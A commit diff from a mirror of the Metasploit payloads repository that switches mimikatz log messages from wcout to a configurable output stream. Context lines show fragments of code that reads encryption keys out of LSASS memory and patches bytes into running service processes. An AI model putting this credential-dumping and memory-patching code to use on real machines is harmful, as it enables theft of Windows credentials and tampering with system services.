1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-12-08 23:33:07 +01:00

Correct wcout

This commit is contained in:
Meatballs 2013-04-21 00:08:38 +01:00
parent a6083f76fd
commit 6c47be2163
3 changed files with 13 additions and 13 deletions

View File

@ -60,7 +60,7 @@ bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData()
mesSucces++;
}
}
else wcout << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl;
return (mesSucces == 6);
}

View File

@ -112,9 +112,9 @@ bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData()
if(mod_memory::readMemory(reinterpret_cast<PBYTE>(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS))
mesSucces++;
}
else wcout << L"LsaInitializeProtectedMemory NT6 KO" << endl;
else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl;
}
else wcout << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl;
return (mesSucces == 3);
}

View File

@ -14,12 +14,12 @@ bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BY
{
if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING)
{
wcout << L"Service : " << monService.serviceDisplayName << endl;
(*outputStream) << L"Service : " << monService.serviceDisplayName << endl;
reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace);
}
else wcout << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl;
else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl;
}
else wcout << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl;
else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl;
return reussite;
}
@ -36,21 +36,21 @@ bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternTo
if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
{
wcout << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl;
(*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl;
BYTE * addrPattern = NULL;
if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle))
{
reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle);
wcout << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl;
(*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl;
}
else wcout << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
CloseHandle(processHandle);
}
else wcout << L"OpenProcess : " << mod_system::getWinError() << endl;
else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl;
}
else wcout << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
return reussite;
}
@ -95,7 +95,7 @@ bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide)
(monOsValide->is64 == is64)
;
}
else wcout << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl;
else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl;
return reussite;
}
@ -139,7 +139,7 @@ bool mod_patch::checkVersion(vector<OS> * vectorValid)
}
if(!reussite)
wcout << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl;
(*outputStream) << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl;
return reussite;
}